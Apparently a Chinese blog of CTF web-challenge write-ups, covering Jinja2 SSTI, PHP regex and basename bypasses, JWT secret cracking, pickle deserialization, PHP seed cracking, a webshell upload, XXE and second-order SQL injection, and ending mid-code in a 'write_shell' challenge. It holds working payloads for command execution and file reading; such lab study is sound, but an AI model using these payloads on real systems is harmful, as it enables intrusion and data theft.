[GYCTF2020]FlaskApp

题目

image-20230411195501929

image-20230411195551367

提示了,flask算pin

image-20230411195641629

利用解密的时候报错,得出一些信息

image-20230411195756528

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
  1. 根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了。

  2. 我们进行绕过来尽可能的达到命令执行,因为有waf,我们对可能进行了过滤的单词使用拆分关键词进行绕过

    就是输入base64加密后的值,然后进行解密,解密后绕过能绕过waf,那么就可以进行模板注入了

payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20230411200146505

解密后发现flag位置

直接cat的话会不给读

image-20230411200248871

然后尝试一下新的方法

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

image-20230411200430933

这道题有两个解

第一种解,不需要算pin,这是一种新的ssti读取文件的方法(可以当作积累)

第二种解,flask算pin,之前做的题有写过

image-20230411200822462

这样也能调出来,之前学到的积累

[极客大挑战 2019]RCE ME

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

就是简单的无数字字母rce 加 限制长度

这篇文章讲了就是assert()函数的使用和如何绕过disable_function进行命令执行

通过环境变量LD_PRELOAD+mail劫持so来执行系统命令 就是利用这个来进行绕过

当然蚁剑也有这个功能 就是绕过disable_function 来进行命令执行

就是使用蚁剑的这个功能来进行绕过

image-20230411214728985

[MRCTF2020]套娃

题目

image-20230412195450258

网页源码

1
2
3
4
5
6
7
8
9
10
11

//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

第一个if考察$_SERVER['QUERY_STRING']获取的是未经url解码的查询字符串,因此将_url编码后可绕过。(url编码大小写不敏感)

第二个if考察preg_match()只能匹配单行字符串,会将换行符后的字符串忽略。

1
?b%5Fu%5Fp%5Ft=23333%0a

image-20230412200039405

secrettw.php

image-20230412200134805

image-20230412200153748

源码给这些东西

控制台执行输出结果 说是post一个Merak

image-20230412200248976

这是jsfuck编码

image-20230412200445109

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

猜测getIp()可能通过X-Forwarder-Forclient-ip头可以绕过。

因为这里提示了“Local access only”

file_get_contents($_GET['2333']) === 'todat is a happy day' )可由data:\\伪协议绕过

这里的话php://input应该也能绕过

1
2
secrettw.php?2333=data://text/plain,todat+is+a+happy+day
空格需要url编码

change()函数将传入的字符串进行base64解码然后进行简单加密。

我们需要传入flag.php故需要先将flag.php逐字符进行加密,然后进行base64编码。

对change()的解码脚本

1
2
3
4
5
6
7
8
import base64

cstr = "flag.php"
tmp = ""
for i in range(len(cstr)):
ch = chr(ord(cstr[i])- i*2)
tmp += ch
print(base64.b64encode(tmp.encode()))

最终payload

1
http://6ad8a2e0-f0f7-49c9-8087-ac1021dbe1a2.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D

[WUSTCTF2020]颜值成绩查询

题目

image-20230412214146848

考察的是 sql盲注

[FBCTF2019]RCEService

题目

image-20230412214603190

知识点:PHP利用PCRE回溯次数限制绕过某些安全限制,多行绕过preg_match函数

preg_mathch加上 m 的话就不行了 ,因为m是多行独立匹配

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

1
{"cmd":"ls"}

image-20230412215324802

第一种解法

因为preg_match只能匹配第一行,所以这里可以采用多行绕过。
因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

payload

1
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

image-20230412215628734

第二种解法

关于preg_match,有p神曾经讲的PRCE,但是这个题目复习环境是get传参,而非post,会导致414报错,记录一下原题wp:

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

PHP利用PCRE回溯次数限制绕过某些安全限制

超出100万次的话会返回false 从而绕过if判断

这里的话是不能绕过 强等于的 ===

if(false===0) 这样就是不能相等了

[Zer0pts2020]Can you guess it?

image-20230412220712263

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

这道题的解法并不是在考察咋样绕过随机数那里

而是考察这段代码

1
2
3
4
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

正则的匹配ban掉了config.php。然后会highlight_file():

可以发现这里加上了basename() 可能是为了跨目录读文件,而问题正好出在了这里,演示

当我访问index.php时,我可以在后面加上一些东西,比如/index.php/config.php,这样仍然访问的是index.php,但经过basename()后,传进highlight_file()函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里,这道题就做完了。所以说,那个随机数就是个障眼法
可以发现发现,这个正则匹配了config.php/为$_SERVER[‘PHP_SELF’]的结尾

image-20230412222258528

老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:

1
/index.php/config.php/%0d   bcd都行

好多东西都行

一堆不可见字符都行

1
0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff

image-20230412222418112

$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php?source来读取flag。

但是正则过滤了/config.php/*$/i

basename()函数的一个问题,它会去掉文件名开头的非ASCII值:

1
2
var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

所以这样就能绕过正则了,payload:

1
http://3.112.201.75:8003/index.php/config.php/%ff?source

[CISCN2019 华北赛区 Day1 Web2]ikun

题目

image-20230412223240234

题目给了提示 就是给买到 lv6

然后尝试去购买,发现找不到页数,然后就查看源码,发现lv5等都是由lv5.png组成,所以就是写个脚本来遍历一下,看在哪也能找到lv6.png

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://fb27b666-6efb-4d33-9167-72b5c08b84ee.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
urls = url + str(i)
rs=requests.get(urls)
print("\r")
print('已检测'+str(i)+'页')
if('lv6.png' in rs.text):
print('在'+str(i))
break

image-20230412224342396

最后发现是在第180页

image-20230412224420291

发现钱不够,于是抓包查看一下,看能不能修改金额

image-20230412225112765

image-20230412225054064

修改折扣之后,购买成功,然后返回一个地址

image-20230412225211663

发现只给admin用户访问,抓包的时候我们发现存在JWT,那么我们猜测是修改这个JWT

第一次无密码加密的时候发现不能成功,那么就猜测这是需要密钥来进行加密的

于是我们就尝试使用爆破工具

image-20230412225853104

爆破出密钥

哪么就去jwt.io尝试进行修改值

image-20230412230001862

image-20230412230025452

登录成功

image-20230412230134260

查看源码 发现存在源码泄露

最后发现在Admin.py文件里发现漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

考察点就是python反序列化 pickle 和 loads 两关键词

payload

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

这是使用R操作码进行操作的 然后被禁了 还可以使用其他操作码进行绕过

1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20230412231137498

[CSCCTF 2019 Qual]FlaskLight

题目

image-20230413194516104

给了提示

image-20230413194554347

发现是jinjia2框架的ssti

image-20230413194801325

payload

1
2
3
4
5
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

这里的话我都是直接拿存着的模板去打,当然也可以按照步骤一步一步来打

[GWCTF 2019]枯燥的抽奖

题目

查看源码发现了check.php,然后访问得到一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

这个考点的话之前做过了,现在在重温一便

就是说只要mt_srand(seed)seed固定,那么就可以得到随机数的值

所以说我们得使用工具来通过爆破随机数的值来爆破出种子,从而得到接下来随机数的值

然后写个脚本把给的前十位字符串转化为工具能识别出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
str1 ='rlD3S0vhc3'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)
// 前两个str(j)代表第一个mt_rand()输出的界限,后两个参数0str(len(str1)-1)表示传递到 mt_rand()的范围为061
1
17 17 0 61 11 11 0 61 39 39 0 61 29 29 0 61 54 54 0 61 26 26 0 61 21 21 0 61 7 7 0 61 2 2 0 61 29 29 0 61

seed爆破工具

php_mt_seed - PHP mt_rand() seed cracker

image-20230413202206497

拿到种子

image-20230413202345933

image-20230413202336046

[WUSTCTF2020]CV Maker

题目

image-20230413202626327

这种题目有好多地方都是考点

于是就一个一个的进行尝试

最后发现这里考察的是 文件上传

image-20230413203203320

这个函数应该很熟悉了吧,就是判断文件头是否为图片类型

那我先传入一个图片马,上传成功。但是发现无论是.htaccess,还是各种格式的都无法上传成功,图片马也无法利用。

这时猜测是否能通过web应用程序解析漏洞绕过。报错网页,发现是apache

image-20230413204301391

随便输入点东西让他报错 发现是apache的

由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,jpg等扩展名是apache不能识别的

这里的话可以看看这篇文章 apache中间件漏洞解析总结

但是这里又无法上传成功,很奇怪。这里测试了一会,发现反着利用就可以了,上传1.jpg.php

看图片链接,发现上传路径/uploads。然后最奇特的一点,jpg好像被过滤成空了,直接是php文件了。那就直接利用。蚁剑连接,在根目录下找到flag

[NCTF2019]True XML cookbook

题目

image-20230413205529469

和之前show的题目很像,都是长这样的

image-20230413210616742

抓包判断出这是考察的XXE

payload

1
2
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY goodies SYSTEM "file:///proc/net/arp">]>

这里的话直接读flag是读不出来的

但是XML解释器支持多种协议,其中PHP就支持http和gopher,所以可能flag存在于内网主机上,我们需要通过XXE对内网进行探测。

  • /etc/hosts 储存域名解析的缓存
  • /etc/passwd 用户密码
  • /proc/net/arp 每个网络接口的arp表中dev包

/proc/net/arp 可以直接查看内网ip

image-20230413212725585

于是就开始爆破内网IP,就是扫c段,然后就可以发现flag了

匹配到正确的ip就能发现flag

[RCTF2015]EasySQL

题目

报错注入

wp

这里话是话就是通过修改密码处会进行报错提示

[CISCN2019 华北赛区 Day1 Web1]Dropbox

题目

image-20230415210121161

给了一个登录框

涉及知识点 任意文件下载、phar反序列化、open_basedir

image-20230415210836408

随便上传一点东西后,可以考虑是不是文件上传,经过尝试发现不是后,如何看这个下载,有点感觉像是文件包含,于是进行抓包

image-20230415211021670

发现确实是文件包含

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点

php伪协议

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

查看源码发现提示

image-20230507212434313

这里进行文件的读取的话,可以考虑php伪协议进行读取

image-20230507212605275

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

image-20230507212819532

查看解析出来的代码,发现还可以继续进行读取

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>订单查询</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>

<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>删除订单</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
</div>
</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

通过代码审计可以发现,user_name和phone都进行了严格的过滤,但是address只用addslashes()对预定义字符进行了转义,所以address参数为可以利用的注入点

由于address被addslashes()转义以后单引号等无法使用,但是更新地址时,会将旧地址保存下来,所以我们只要将在第一次修改地址时输入SQL注入语句,在第二次更新时(随便输),第一次更新的SQL语句会被调用从而引发二次注入。

image-20230507213726053

因为报错注入最长输出32位所以分两次读取。

先去提交订单

image-20230507214302818

这样的话地址和姓名电话就会存在数据库里

image-20230507214334374

根据这段代码,在下次进行地址的修改的时候,就会执行old_address里面我们之前存放的代码

然后就会输出flag了

image-20230507214513864

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

接下来查询后面的字段同理

[红明谷CTF 2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
